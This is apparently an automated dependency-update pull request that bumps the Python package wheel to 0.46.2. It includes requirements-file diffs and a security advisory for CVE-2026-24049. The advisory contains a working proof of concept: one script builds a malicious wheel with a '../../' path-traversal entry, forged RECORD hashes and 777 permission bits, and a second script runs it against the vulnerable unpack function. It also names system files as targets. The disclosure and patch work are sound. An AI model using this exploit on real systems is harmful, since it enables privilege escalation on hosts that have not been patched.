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chore(deps): update dependency wheel to v0.46.2 [security] (#16829)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [wheel](https://redirect.github.com/pypa/wheel) ([changelog](https://wheel.readthedocs.io/en/stable/news.html)) | `==0.45.1` → `==0.46.2` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/wheel/0.46.2?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/wheel/0.45.1/0.46.2?slim=true) | --- ### Wheel Affected by Arbitrary File Permission Modification via Path Traversal in wheel unpack [CVE-2026-24049](https://nvd.nist.gov/vuln/detail/CVE-2026-24049) / [GHSA-8rrh-rw8j-w5fx](https://redirect.github.com/advisories/GHSA-8rrh-rw8j-w5fx) <details> <summary>More information</summary> #### Details ##### Summary - **Vulnerability Type:** Path Traversal (CWE-22) leading to Arbitrary File Permission Modification. - **Root Cause Component:** wheel.cli.unpack.unpack function. - **Affected Packages:** 1. wheel (Upstream source) 2. setuptools (Downstream, vendors wheel) - **Severity:** High (Allows modifying system file permissions). ##### Details The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. ``` ##### Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel) for zinfo in wf.filelist: wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile # (2) VULNERABILITY: # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'. # If zinfo.filename contains "../", this targets files outside the destination. permissions = zinfo.external_attr >> 16 & 0o777 destination.joinpath(zinfo.filename).chmod(permissions) ``` ##### PoC I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack. **Prerequisites:** pip install setuptools **Step 1: Generate the Malicious Wheel (gen_poc.py)** This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list. ``` import zipfile import hashlib import base64 import os def urlsafe_b64encode(data): """ Helper function to encode data using URL-safe Base64 without padding. Required by the Wheel file format specification. """ return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii') def get_hash_and_size(data_bytes): """ Calculates SHA-256 hash and size of the data. These values are required to construct a valid 'RECORD' file, which is used by the 'wheel' library to verify integrity. """ digest = hashlib.sha256(data_bytes).digest() hash_str = "sha256=" + urlsafe_b64encode(digest) return hash_str, str(len(data_bytes)) def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"): print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}") # 1. Prepare Standard Metadata Content # These are minimal required contents to make the wheel look legitimate. wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n" metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n" # 2. Define Malicious Payload (Path Traversal) # The content doesn't matter, but the path does. payload_content = b"PWNED by Path Traversal" # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../' # The vulnerability allows 'chmod' to affect this path directly. malicious_path = "../../poc_target.txt" # 3. Calculate Hashes for Integrity Check Bypass # The 'wheel' library verifies if the file hash matches the RECORD entry. # To bypass this check, we calculate the correct hash for our malicious file. wheel_hash, wheel_size = get_hash_and_size(wheel_content) metadata_hash, metadata_size = get_hash_and_size(metadata_content) payload_hash, payload_size = get_hash_and_size(payload_content) # 4. Construct the 'RECORD' File # The RECORD file lists all files in the wheel with their hashes. # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here. # This tricks the 'wheel' library into treating the malicious file as a valid, verified component. record_lines = [ f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}", f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}", f"{malicious_path},{payload_hash},{payload_size}", # <-- Authenticating the malicious path "evil-1.0.dist-info/RECORD,," ] record_content = "\n".join(record_lines).encode('utf-8') # 5. Build the Zip File with zipfile.ZipFile(filename, "w") as zf: # Write standard metadata files zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content) zf.writestr("evil-1.0.dist-info/METADATA", metadata_content) zf.writestr("evil-1.0.dist-info/RECORD", record_content) # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file # We need to set specific permission bits to trigger the vulnerability. zinfo = zipfile.ZipInfo(malicious_path) # Set external attributes to 0o777 (rwxrwxrwx) # Upper 16 bits: File type (0o100000 = Regular File) # Lower 16 bits: Permissions (0o777 = World Writable) # The vulnerable 'unpack' function will blindly apply this '777' to the system file. zinfo.external_attr = (0o100000 | 0o777) << 16 zf.writestr(zinfo, payload_content) print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.") if __name__ == "__main__": create_evil_wheel_v4() ``` **Step 2: Run the Exploit (exploit.py)** ``` from pathlib import Path import sys ##### Demonstrating impact on setuptools try: from setuptools._vendor.wheel.cli.unpack import unpack print("[*] Loaded unpack from setuptools") except ImportError: from wheel.cli.unpack import unpack print("[*] Loaded unpack from wheel") ##### 1. Setup Target (Read-Only system file simulation) target = Path("poc_target.txt") target.write_text("SENSITIVE CONFIG") target.chmod(0o400) # Read-only print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}") ##### 2. Run Vulnerable Unpack ##### The wheel contains "../../poc_target.txt". ##### unpack() will extract safely, BUT chmod() will hit the actual target file. try: unpack("evil-1.0-py3-none-any.whl", "unpack_dest") except Exception as e: print(f"[!] Ignored expected extraction error: {e}") ##### 3. Check Result final_perms = oct(target.stat().st_mode)[-3:] print(f"[*] Final Perms: {final_perms}") if final_perms == "777": print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!") else: print("[-] Attack failed.") ``` **result:** <img width="806" height="838" alt="image" src="https://github.com/user-attachments/assets/f750eb3b-36ea-445c-b7f4-15c14eb188db" /> ##### Impact Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. ##### Recommended Fix The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract(). ##### Suggested Patch: ``` ##### extract() returns the actual path where the file was written extracted_path = wf.extract(zinfo, destination) ##### Only apply chmod if a file was actually written if extracted_path: permissions = zinfo.external_attr >> 16 & 0o777 Path(extracted_path).chmod(permissions) ``` #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H` #### References - [https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx](https://redirect.github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx) - [https://nvd.nist.gov/vuln/detail/CVE-2026-24049](https://nvd.nist.gov/vuln/detail/CVE-2026-24049) - [https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef](https://redirect.github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef) - [https://github.com/pypa/wheel/releases/tag/0.46.2](https://redirect.github.com/pypa/wheel/releases/tag/0.46.2) - [https://github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e](https://redirect.github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e) - [https://github.com/advisories/GHSA-8rrh-rw8j-w5fx](https://redirect.github.com/advisories/GHSA-8rrh-rw8j-w5fx) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-8rrh-rw8j-w5fx) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>pypa/wheel (wheel)</summary> ### [`v0.46.2`](https://redirect.github.com/pypa/wheel/releases/tag/0.46.2) [Compare Source](https://redirect.github.com/pypa/wheel/compare/0.46.1...0.46.2) - Restored the `bdist_wheel` command for compatibility with `setuptools` older than v70.1 - Importing `wheel.bdist_wheel` now emits a `FutureWarning` instead of a `DeprecationWarning` - Fixed `wheel unpack` potentially altering the permissions of files outside of the destination tree with maliciously crafted wheels (CVE-2026-24049) ### [`v0.46.1`](https://redirect.github.com/pypa/wheel/releases/tag/0.46.1) [Compare Source](https://redirect.github.com/pypa/wheel/compare/0.46.0...0.46.1) - Temporarily restored the `wheel.macosx_libfile` module ([#&#8203;659](https://redirect.github.com/pypa/wheel/issues/659)) ### [`v0.46.0`](https://redirect.github.com/pypa/wheel/releases/tag/0.46.0) [Compare Source](https://redirect.github.com/pypa/wheel/compare/0.45.1...0.46.0) - Dropped support for Python 3.8 - Removed the `bdist_wheel` setuptools command implementation and entry point. The `wheel.bdist_wheel` module is now just an alias to `setuptools.command.bdist_wheel`, emitting a deprecation warning on import. - Removed vendored `packaging` in favor of a run-time dependency on it - Made the `wheel.metadata` module private (with a deprecation warning if it's imported - Made the `wheel.cli` package private (no deprecation warning) - Fixed an exception when calling the `convert` command with an empty description field </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - "" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/googleapis/google-cloud-python). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNDEuMyIsInVwZGF0ZWRJblZlciI6IjQzLjE0MS4zIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
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packages/google-crc32c/scripts/requirements.txt

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@@ -25,9 +25,9 @@ cmake==3.31.6 \
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--hash=sha256:cefb910be81e1b4fdc3b89ef61819c3e848b3906ed56ac36d090f37cfa05666b \
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--hash=sha256:da9d4fd9abd571fd016ddb27da0428b10277010b23bb21e3678f8b9e96e1686e
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# via -r requirements.in
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wheel==0.45.1 \
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--hash=sha256:661e1abd9198507b1409a20c02106d9670b2576e916d58f520316666abca6729 \
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--hash=sha256:708e7481cc80179af0e556bbf0cc00b8444c7321e2700b8d8580231d13017248
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wheel==0.46.2 \
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--hash=sha256:33ae60725d69eaa249bc1982e739943c23b34b58d51f1cb6253453773aca6e65 \
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--hash=sha256:3d79e48fde9847618a5a181f3cc35764c349c752e2fe911e65fa17faab9809b0
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# via -r requirements.in
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# The following packages are considered to be unsafe in a requirements file:

packages/sqlalchemy-spanner/requirements.txt

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--hash=sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760 \
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--hash=sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc
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# via requests
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wheel==0.45.1 \
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--hash=sha256:661e1abd9198507b1409a20c02106d9670b2576e916d58f520316666abca6729 \
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--hash=sha256:708e7481cc80179af0e556bbf0cc00b8444c7321e2700b8d8580231d13017248
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wheel==0.46.2 \
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--hash=sha256:33ae60725d69eaa249bc1982e739943c23b34b58d51f1cb6253453773aca6e65 \
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--hash=sha256:3d79e48fde9847618a5a181f3cc35764c349c752e2fe911e65fa17faab9809b0
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# via pip-tools
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wrapt==1.17.3 \
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--hash=sha256:02b551d101f31694fc785e58e0720ef7d9a10c4e62c1c9358ce6f63f23e30a56 \

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